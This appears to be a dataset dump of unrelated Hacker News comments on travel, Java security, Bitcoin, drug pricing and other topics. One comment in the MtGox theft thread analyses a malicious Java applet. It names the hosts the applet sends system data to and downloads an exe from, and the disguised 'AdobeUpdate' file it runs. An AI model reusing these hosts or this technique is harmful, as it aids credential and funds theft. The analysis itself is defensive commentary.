skysight-inc/HackerNews huggingface dataset:
A couple of weeks ago I was pretty bored and decided that I wanted to get out. I rode down the street to the grocery store on my board (about the size of a Penny board). After I went in and got some candy (Altoids actually) I decided to keep going to the end of the mall where the store is located. Once I got to the end, I found a sidewalk that went around this big lake and under the highway, so I followed it through a pitch black tunnel and when I ended up on the other side I just found where a road started and decided to follow it until it became a dead-end. After a while it did so I turned and followed the next one until it did too.

Around this time I decided to try and find my way back by going forward instead of retracing my path. I called a friend to ask him to check how far I was on Google Maps. He said I was around five miles away from where I started at this point, and offered to help me find my way back. I declined, since I still wanted to find it myself. After another long while I decided to call him again, and he said that I was now around nine miles away from where I had started.

I was getting tired and had thought that I would be pretty close at this point, so I asked him to give me directions to get back. When I finally got back I was tired, hungry, and so thirsty, but I had a really enjoyed my little adventure. It may seem silly since I was ultimately so close to where I live, but I had never been anywhere along that route so it really felt like an adventure of discovery.

After getting some food and something to drink, I retraced my route on Google Maps and it turns out that I had gone 21.7 miles. It took me around four hours.

Here's my route for anyone who is interested: http://goo.gl/maps/Yvwwj
Hmm, but video takes much more bandwidth and having communication problems is the last thing you want during an interview. Also, does this have sound? Would be pretty useless without sound.
List of bug fixes, 118 in all: http://gcc.gnu.org/bugzilla/buglist.cgi?bug_status=RESOLVED&...
Measure twice, cut once: sound advice for infosec, too
Heh, that's actually kind of a neat, serendipitous, not-really-neat-because-this-shit-should-fucking-work-by-now-it's-2013-fer-chrissakes fallback.
What does the web platform need next?
And your response begs for a downvote.
Tinkering with Mer, Nemo, Sailfish, the noob guide by a noob
preachy articules add no value. comments add a lot to a whole lot of articles, just not preachy ones
Viagra was not initially being developed as an erection pill it was a heart medication (I think) but turned out to be better at causing erections so they ran with that.
My point was that Unicode is newer than ASCII, and that we can't hope to deal with Unicode (Ö) properly if we can't even cope with ASCII (') yet. Nothing to do with anglocentrism at all. I agree that there are lots of annoying computing problems for non-English speakers though.
The major benefit of electric cars will come when a proper smart grid environment exists. The biggest problem with many renewables is their inconstant nature - windfarms will produce electricity when the wind is blowing, which might not be when the power is actually needed.

EVs provide a mechanism to store that excess power generated; cars can know to recharge their batteries faster when more power is available to the grid.
Thanks, definitely interesting. Seems like we will have a lot of time to answer my question.
Classmate's dad in middle school presented on this. Not sure what happened to the company or if it took off. Loved the ideas as a kid.

http://usatoday30.usatoday.com/news/nation/2008-10-26-100379...
So... you ran a Java applet on a domain with mtgox in its name and didn't make sure that site is owned by MtGox?

I'm sorry for your loss but what happened is your own fault entirely and I would be surprised if MtGox decides to refund you.
Even if it is illustrative, you should aim to give a good example.

Now, you could make this a good example by continuing, in lesson 2, to show weaknesses with this approach.

For an analogous case, read Knuth. In 'the art of computer programming', chapter ?2? on random numbers, he gives a convoluted random number generator that, in an abstract sense, is not unlike your one-way function, then shows how bad it is, and makes the case that you shouldn't let ordinary programmers design (or even tweak) these algorithms for you.
TLDR; OP runs java applet (either in browser or downloaded it).
Java applet sends bitcoin from OP's MtGox account to the 'hackers' bitcoin address, using the OP's browser, which was logged in to his MtGox account at the time.
I imagine it does, will have to experiment with it later.
Yeah I'm not sure you're understanding what they are saying about POV porn.
Whoa, I don't know which one came first, but this is blatant UI plagiarism right there.
I do at times, and I don't at times.

Sometimes I like to shoot for comfort, technical wear, the right food, sunglasses for the job, etc.

Other times I just want to remember what it's like to experience that child-like feeling of just grabbing your bike and rushing out for a ride.

There's something really liberating and fun about not acting like an adult and preparing. And it re-introduces some risks that make the ride more 'interesting'... such as whether you'll bonk, and whether you get lost because you didn't plan, or whether it rains and you get soaked to the bone as you didn't check.
Hawaiian ginger is really good.
The google maps navigation already does that, albeit only when you are closing in the target. But still very useful when looking for a restaurant or a company.
Please tell me how charging $50,000/yr for 30 year old dimethyl fumarate (BG-12/tecfidera) for the treatment of multiple sclerosis is due to innovation. It shouldn't cost more than aspirin. The only reason they are charging that much is because that's how much all other MS medications cost.

Oligopoly, it's like a monopoly, only legal.
Comment sections on high-traffic news sites such as the BBC perplex me. I go to the BBC to read the BBC news, not people's rants. The sheer volume of comments (hundreds or even thousands) on popular articles there makes the facility next to useless. It is the definition of "the drive-by argument!"
I quite like the JVM but I think it should be stopped from running inside a browser.
Thanks for that link, that is very interesting indeed. Being able to read the intervals more easily is certainly valuable, especially if you are playing on a chromatic keyboard.

However, I do like the fact that accidentals in traditional notation say something important: This note is out of the scale you are playing in. This is usually audibly very noticeable, so it makes sense to have it very noticeable in the score as well.

The three line system could be enhanced to show the notes that are in and out of the scale slightly differently, e.g. with color, or the size of the note-head. This would still have the benefit of being easily transposable.
I'm not doubting Bitcoin's potential to become a true currency, but unless this type of smash-and-grab situation can be traced/avoided/insured (whatever the right mechanism is) it is going to be extremely hard to make ordinary businesses and people use it. People don't place value in the currency itself, but the system that provides certain security around it.
A rational entity would absolutely sell at a loss. They would not acquire with the goal of selling at a loss, but once they already have the thing what they paid to get it is a sunk cost, which a sane or rational agent ignores in making future decisions.

If bitcoins were overproduced, say during a bubble, they could well remain low long-term - there is no particular pressure driving them up.
Thanks, it does look better for short distances, but still seems very fast! Seems to be around 3 seconds for the 75 frames, I think I'd like to see it half that speed or less.
About Time to market, or why you only have control on part of the game
That's a really good idea that was never going to work with modern Twitter. Old style Twitter? Maybe.

There's probably many reasons why Twitter shut it down, but there's also many reasons why developing a product around Twitter these days is, frankly, kind of batshit crazy.
What I really love about GitHub is that it's one of the really exciting companies that has never really disappointed nor sold out like Twitter did.

I'm as excited about GitHub as ever.
What is the trend for the overall number rather than percentage of tenured college professors? Surely a large part of this is explained by the explosive growth of higher education as a consumer commodity. We should not expect the percentage of professors to increase if the demand for academics is being driven by an increasing number of lower quality colleges.
Garbage Collector Performance Comparison
This is exactly why everyone on the internet keeps saying that you shouldn't automatically run Java applets or shouldn't have Java installed at all on your computer.

Java is just such a big target for hackers nowadays, that there will always be zero-days.
That is true.

1) You really shouldn't be running java applets unless you are certain you want to. I have had Java disabled for about a year and have only seen a page that required it once.

2) The domain name should've been a dead giveaway

3) Why would MtGox refund it? You got your money stolen by someone else. It's not MtGox's fault at all.
This is probably not much different from any other internet banking trojan horse delivered via a java exploit.

Some banks solve this problem by requiring a 2 factor auth to confirm transactions (even after logging in).
Thanks, yes I realized my lack of suggestions for improvements after writing my comment. I simply didn't have any (it was also quite late), as I think there are some fundamental choices in that system that are not beneficial. My "low-level details" were meant as arguments against those fundamental choices, rather than nit-picks that could be easily solved.

In the end, I judged that (valid) criticism is better than no criticism, despite the negative feeling of being the guy that just "tears it down".
Rubberband Flamethrower - a rubygem for benchmarking Elastic Search insertion
TLDR:

> personally I enjoy my way of life
It's very easy. Check out the Mono website http://www.mono-project.com/Main_Page
A blog post is pretty much a sermon even if you have a little box where people can leave "comments." That's part of why blogs are amazing. Sermons aren't bad. People discuss sermons. Sermons don't happen in a vacuum, even if you don't have the little comment box. People can discuss whereever they want. Like here.
I appreciate that some effort went into coding this benchmark but I don't understand no time was spent trying to optimise each MQ. You could even email the developers and ask for help since you're going to be publishing this as a comparative benchmark.
Banks that handle USD follow strict federal regulations on security procedures and insurance. If this happened at a bank, the OP would absolutely get his money back. Bitcoin needs federal regulations... oh wait...
Out of Disorder: Topographical Maps Carved from Electrical Tape etc.
It came up in relation to https://news.ycombinator.com/item?id=5106767 (though not in this particular thread)
This talk, http://pyvideo.org/video/1778/crypto-101, given by Laurens Van Houtven at PyCon US 2013, is a fantastic intro to crpytography and he uses the mixing color analogy as one of his examples.
The thing is that it's easy to stop Java applets from executing. Even better most browser prevent this by default. Including chrome, which he was probably using as indicated by the screenshot.

Looks like this was entirely his own fault, though it still sucks. Wouldn't hope for a refund though t.b.h.
Java Applets were designed to give you the ability to execute a program on your computer from the browser in much the same way ActiveX controls could be used for exploits. Turn off Java in the browser and hope that JavaScript is sandboxed well enough.
Mtgox has clearly not had time to respond, and I fear they will claim this is my fault as I have seen in other posts online that they say "report it to the police".

They should compensate me 100%.

This shows one of the fundamental problems with Bitcoin-related services: when people get taken advantage of, they expect to be compensated.

While in the real world, banks will often compensate you if you're the victim of fraud, there isn't any equivalent for Bitcoin, despite people really expecting it.
At $200 per bitcoin, this is a $6,800 lesson in "Don't visit random websites".

At least they were open about being robbed. I wonder how many bitcoins were stolen in total?

EDIT: Has anyone visited the URL to analyse the malware?
21 Ways Rich People Think Differently Than Average People
Chat is not done right until you include search functionality. There is an incredible wealth of information that is exchanged through mediums like this that just gets lost if you don't have a good search function. So at the moment this is collaborative chat done wrong :) I hope you accept this as constructive criticism because other then that the product looks pretty well designed.
Thank you, my thoughts exactly.

I much prefer someone to criticize my work, rather than sitting quiet just because they can't think of improvements. After all, I'm probably much more likely to come up with a solution than they are, and the reason I didn't is just because I didn't think of that problem.
I am waiting eagerly for the network inspector.

Preview (nightly): http://bits.potch.me/netpanel.png
Yes: https://news.ycombinator.com/item?id=4584453.

Looks like it has improved since then. Nifty :-)
Agree. When a transaction is not authorised by the account holder, this transaction is legally invalid. Any bank would give the money back in this kind of situation.

I can't imagine my parents (or 99% of the adult population) being liable for this theft when "proper security precautions" means knowing when to detect and avoid a "0 day java exploit with a cross site injection attack".
You'll see from their reply that they did take the detour and I would too. The Sea Cliff Bridge and coastal road are great; the highway is really bland!
> I then discovered that the site is loaded with a java script which, based on an initial analysis by my java programmer friend, is a 0 day java exploit with a cross site injection attack, which automatically started

"Being a techie", I like to confuse Java and Javascript ...
...and banks will only compensate if they really have to because there are laws compelling them to do so. If they can get away with saying it's your fault they will.

While I have sympathy for the author it was a pretty silly thing to do.
Japanese Robot SCHAFT Shows Off Its Strong Limbs
A bit off topic, but if you care about security DO NOT INSTALL JAVA to your computer. I'm JAVA free for the last ~5 years and I never really needed it.

Java's security track is horrible and it's quite popular target.
I've not used Mt.Gox but does it let you perform transactions without authenticating again? Even if you were logged in to your account, I'd expect any kind of financial related website to perform some kind of re-authentication before processing any transaction. Perhaps with the exception of transferring funds to somewhere you've sent funds in the past.
mine only showed up as a box until i observed it.
What I tried to say is that dealing with ASCII is meaningless; it's not even a useful starting point.

For the majority of people, a string format that accepts 100% of ASCII but 0.1% of Unicode is just as useless as one that only accepts 95% of ASCII. Therefore the goal should never be to get your ASCII coverage from 95% of 100%.
Zuckerberg: Immigrants are the key to a knowledge economy
This company wants to kickstart a low cost locomotion platform for VR.
Is there any sense in VARCHAR(1)?
How did you manage to not lose your fedora on this awesome trip?
Knuth's point is that the random number generator that he came up with isn't good and so people shouldn't write such functions themselves. This is different from my blog post which is trying to explain to people what a one way function is without resorting to mathematics.

I do agree that a follow up could be written (e.g. Bob could compute a 'rainbow table' of the dictionary for the next time Alice uses the same trick; and the Alice could introduce some salt; Alice could introduce multiple rounds as well with a 'work factor' to make Bob's life harder).
Development Environments Made Easy with Vagrant and DigitalOcean | DigitalOcean
Related: http://stereopsis.com/flux/
"Widely accepted" isn't a binary value. As adoption increases bitcoins gain value. That's what justifies the price.

The problem is deciding just how much adoption implies how much value.
...and banks will only compensate if they really have to because there are laws compelling them to do so. If they can get away with saying it's your fault they will.

Agreed, the banks aren't doing it from the goodness of their heart.

While I have sympathy for the author it was a pretty silly thing to do.

And in the real world, if you gave someone your card and PIN, the bank would be unlikely to compensate you.

I think that this example is more similar to falling victim to card skimming, though.

Whilst one should always check the ATM for suspicious devices, and never let the card leave one's sight, it doesn't mean that it's not easy to fall prey to such fraud all the same.
Webinar Recording: Jon Skeet Inspects ReSharper
zero day exploits are not logically inevitable but statistically likely, is what you meant to say i believe. It is also not proven that thats what this is. He could just have easily given it manual permission to access his filesystem/whatever.
Yes, well, that's what the corporate-capitalist model of enterprise does for you. The people who control the means of production (in a university, that's the administrators who control resources and staffing) are more important than everyone else and will eat as large a portion of the pie as they can grab.

There are really only two ways out: labor struggle or cooperativization. I recommend the latter, on grounds that it's actually the model traditional universities used: the faculty ran the university in check and balance with the trustees, who made ultra-high-level administrative decisions on behalf of the public and the future. There's no reason not to simply undue the neoliberalization of academia and go back to the proven model.

In fact, and I want to EMPHASIZE this, the only reason any shift ever took place away from the proven model was a concerted political attack against academia during the Culture Wars. Whatever you think of my obviously left-wing views in general, you have to admit that until politicians started getting elected on a platform of Stick It To Students, academia ran very well as a public institution funded by taxpayers and capital-asset grants (like land-grant colleges in the USA) and accountable primarily to voters, donors, and academics themselves.
Just appears to be an applet that downloads the actual payload . Although, I'm not a security expert and I can't see where the actual exploit is that would allow the file to be downloaded and executed.
I like the look of that. It's compact and seems to use space more efficiently than Chrome's.
He seems to think MtGox should compensate his loss, but I really don't see how it's their fault. The guy fell victim to a phishing scam, plain and simple. It was completely out of MtGox's hands.
We've got videoconferencing, but imagine if the R&D hours and experience we've got in building cars to ferry people around had been invested in 'remote cars'. i.e. Remote workstations that were like modern office cubicles, except they existed in your home.

Even better, instead of cubicles, we could use an array of cameras and monitors to simulate shared working spaces. And instead of spending money on road/rail/air transport infrastructure, we spent it on high-speed data transfer links.

So I could have an office on a beach, that when I entered it, I was actually inside a shared, real-time space with my work colleagues.

Totally possible with current technology, but not with mindset or infrastructure constraints.
If they felt they were in the wrong, and if they provided the appropriate security measures. Does Mt. Gox even have two-factor authentication or transaction signing or anything like that?
It sends log messages to http://www.galaxyjdb.com with your OS information and the state of the app..

/insert.php?o=*os.name*&u=*APPDATA*&ip=java.io.tmpdir&e=*APPSTATE*

It appears to download an exe from http://g2f.nl/0lczsoo

Then it tries to execute the exe:

System.getenv("APPDATA") + "\\AdobeUpdate-Setup1.84.exe";

If at any point in the process it hits an exception, it sends the code for that exception to the galaxy web address, presumably so the dev can see how the app is performing.

Now normally it wouldn't be able to execute the exe (no access to the filesystem), but it looks like the applet requests elevated permissions from the user to allow it to access/run files.
-Werror isn't a "debugging switch". It should be enabled at all times, for development builds and production builds.

If compilation warnings are given, then the responsible thing to do is to assume the program is invalid, at least in certain situations. Fix the code, avoid the warnings completely, and that's that.

There are remarkably few cases where compilation warnings can or should be ignored.
I didn't notice at first, but you can move the target in the map in the top-right corner to change the viewpoint as you travel. I originally assumed it was hardcoded.
Having heard Ben Goldacre speak, the problem isn't just direct-to-consumer marketing, which is already illegal in the UK for prescription drugs. Drug companies actually spend a lot of effort marketing to doctors, who think that they're smart enough to resist sales pitches. There's apparently evidence that they're not - doctors who see drug company reps prescribe those companies' drugs more often and have worse outcomes.
HipChat supports XMPP which is a big advantage.
I wonder how much the of the increase in MtGox accounts and MtGox trading volume (discussed here: https://news.ycombinator.com/item?id=5529986) is due to this malware. If I was the author of this program, I'd spread the trading out over a large number of accounts and hit as many people as I could in a short time period (once the news gets out, this exploit will be much less effective).
Stolen From Apple
Luckily, no one has Java enabled by default anymore.. right?
> I've never had a problem with pacman breaking things on install/updated except for when I attempt to use unstable repositories.

I wasn't using any unstable or experimental repo., only the standard basic one. I read on HN some weeks ago that there had been problems last year and there were related to some changes in the system and that that year wasn't a good one to get started with arch but I didn't follow on that.

> You can get the exact same font aliasing/hinting, you just need to change the hinting settings (if you're using gnome, install gnome-tweak-tool, if you're using xfce it's in the font settings menu, I don't know about other DEs).

https://wiki.archlinux.org/index.php/Font_Configuration I have my doubts I just need to change the hinting :] Ubuntu's defaults are really good (for me).

I am using awesome. I don't see the point of using gnome or kde with a distro that has simplicity in mind (but that's my take on it).
> And as for the patents - how would you deal with a problem that after spending millions on research somebody could copy you and sell the same product for the 1/100 of the price? I know that the US patent system is broken, but this problem is very real.

note that I said "reduce" the monopoly, not eliminate it. Perhaps a limit on the markup or some sort of mandatory licensing scheme.
Doesn't Mt.Gox have any 2 factor auth when it comes to approving transfers?